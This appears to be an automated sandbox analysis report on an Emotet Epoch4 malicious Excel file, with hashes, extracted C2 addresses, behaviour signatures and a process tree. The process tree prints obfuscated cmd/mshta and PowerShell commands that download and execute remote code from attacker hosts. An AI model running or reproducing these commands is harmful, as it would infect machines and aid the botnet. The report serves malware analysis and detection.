emotet | 322c57757251a738ad054ef39b079a236e8f4747bd3ea260a3494021ca5e14d9

General

Target

322c57757251a738ad054ef39b079a236e8f4747bd3ea260a3494021ca5e14d9.xls
Size

70KB
MD5

b71a316fc7194803fb606159db17c473
SHA1

3affa523fa904b62cdc965377355cc65dc6128c4
SHA256

322c57757251a738ad054ef39b079a236e8f4747bd3ea260a3494021ca5e14d9
SHA512

a579cf434a0592eaa0728ba25fa78a9a7a65e0c1b01062c7af7df9dffcf9fc53e30400f8877e14c616abc4d9e9752556f0ab90cb924c829e9de632ce0bc770cb

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fe2.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fe2.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3176	3676	cmd.exe	67

Blocklisted process makes network request 5 IoCs

flow	pid	Process
29	4092	mshta.exe
32	1952	powershell.exe
35	1952	powershell.exe
42	2360	rundll32.exe
44	2360	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
1428	rundll32.exe
1600	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Isqxtnxfnm\hiagfah.lea	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4836	4092	WerFault.exe	73

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3676	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
1952	powershell.exe
4836	WerFault.exe
4836	WerFault.exe
4836	WerFault.exe
4836	WerFault.exe
4836	WerFault.exe
4836	WerFault.exe
4836	WerFault.exe
4836	WerFault.exe
4836	WerFault.exe
4836	WerFault.exe
4836	WerFault.exe
4836	WerFault.exe
4836	WerFault.exe
4836	WerFault.exe
1952	powershell.exe
1952	powershell.exe
2360	rundll32.exe
2360	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1952	powershell.exe
Token: SeDebugPrivilege	4836	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3676	EXCEL.EXE
3676	EXCEL.EXE
3676	EXCEL.EXE
3676	EXCEL.EXE
3676	EXCEL.EXE
3676	EXCEL.EXE
3676	EXCEL.EXE
3676	EXCEL.EXE
3676	EXCEL.EXE
3676	EXCEL.EXE
3676	EXCEL.EXE
3676	EXCEL.EXE
3676	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3676 wrote to memory of 3176	3676	EXCEL.EXE	71
PID 3676 wrote to memory of 3176	3676	EXCEL.EXE	71
PID 3176 wrote to memory of 4092	3176	cmd.exe	73
PID 3176 wrote to memory of 4092	3176	cmd.exe	73
PID 4092 wrote to memory of 1952	4092	mshta.exe	75
PID 4092 wrote to memory of 1952	4092	mshta.exe	75
PID 1952 wrote to memory of 1372	1952	powershell.exe	78
PID 1952 wrote to memory of 1372	1952	powershell.exe	78
PID 1372 wrote to memory of 1428	1372	cmd.exe	79
PID 1372 wrote to memory of 1428	1372	cmd.exe	79
PID 1372 wrote to memory of 1428	1372	cmd.exe	79
PID 1428 wrote to memory of 1600	1428	rundll32.exe	80
PID 1428 wrote to memory of 1600	1428	rundll32.exe	80
PID 1428 wrote to memory of 1600	1428	rundll32.exe	80
PID 1600 wrote to memory of 704	1600	rundll32.exe	81
PID 1600 wrote to memory of 704	1600	rundll32.exe	81
PID 1600 wrote to memory of 704	1600	rundll32.exe	81
PID 704 wrote to memory of 2360	704	rundll32.exe	82
PID 704 wrote to memory of 2360	704	rundll32.exe	82
PID 704 wrote to memory of 2360	704	rundll32.exe	82

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\322c57757251a738ad054ef39b079a236e8f4747bd3ea260a3494021ca5e14d9.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3676
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3176
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe2.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:4092
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1952
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1372
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1428
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1600
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Isqxtnxfnm\hiagfah.lea",RiXSXH
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:704
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Isqxtnxfnm\hiagfah.lea",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:2360
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 4092 -s 1676
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4836

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/704-609-0x00000000049F0000-0x0000000004A16000-memory.dmp

Filesize
152KB

Download
memory/1428-594-0x0000000003040000-0x0000000003066000-memory.dmp

Filesize
152KB

Download
memory/1600-608-0x0000000004FB0000-0x0000000004FD6000-memory.dmp

Filesize
152KB

Download
memory/1600-602-0x0000000004D50000-0x0000000004D76000-memory.dmp

Filesize
152KB

Download
memory/1600-606-0x0000000004E50000-0x0000000004E76000-memory.dmp

Filesize
152KB

Download
memory/1600-604-0x0000000004DF0000-0x0000000004E16000-memory.dmp

Filesize
152KB

Download
memory/1600-600-0x0000000004CF0000-0x0000000004D16000-memory.dmp

Filesize
152KB

Download
memory/1952-276-0x000001FCEB0F0000-0x000001FCEB112000-memory.dmp

Filesize
136KB

Download
memory/1952-325-0x000001FCEB4C0000-0x000001FCEB4FC000-memory.dmp

Filesize
240KB

Download
memory/1952-341-0x000001FCEB7E0000-0x000001FCEB856000-memory.dmp

Filesize
472KB

Download
memory/1952-342-0x000001FCEAEE0000-0x000001FCEB170000-memory.dmp

Filesize
2.6MB

Download
memory/1952-345-0x000001FCEAEE0000-0x000001FCEB170000-memory.dmp

Filesize
2.6MB

Download
memory/1952-423-0x000001FCEAEE0000-0x000001FCEB170000-memory.dmp

Filesize
2.6MB

Download
memory/2360-613-0x00000000047A0000-0x00000000047C6000-memory.dmp

Filesize
152KB

Download
memory/2360-611-0x00000000045F0000-0x0000000004616000-memory.dmp

Filesize
152KB

Download
memory/3676-120-0x00007FFBBFC80000-0x00007FFBBFC90000-memory.dmp

Filesize
64KB

Download
memory/3676-132-0x00007FFBBD0D0000-0x00007FFBBD0E0000-memory.dmp

Filesize
64KB

Download
memory/3676-121-0x00007FFBBFC80000-0x00007FFBBFC90000-memory.dmp

Filesize
64KB

Download
memory/3676-118-0x00007FFBBFC80000-0x00007FFBBFC90000-memory.dmp

Filesize
64KB

Download
memory/3676-119-0x00007FFBBFC80000-0x00007FFBBFC90000-memory.dmp

Filesize
64KB

Download
memory/3676-124-0x00007FFBBFC80000-0x00007FFBBFC90000-memory.dmp

Filesize
64KB

Download
memory/3676-131-0x00007FFBBD0D0000-0x00007FFBBD0E0000-memory.dmp

Filesize
64KB

Download
memory/3676-649-0x00007FFBBFC80000-0x00007FFBBFC90000-memory.dmp

Filesize
64KB

Download
memory/3676-650-0x00007FFBBFC80000-0x00007FFBBFC90000-memory.dmp

Filesize
64KB

Download
memory/3676-651-0x00007FFBBFC80000-0x00007FFBBFC90000-memory.dmp

Filesize
64KB

Download
memory/3676-652-0x00007FFBBFC80000-0x00007FFBBFC90000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads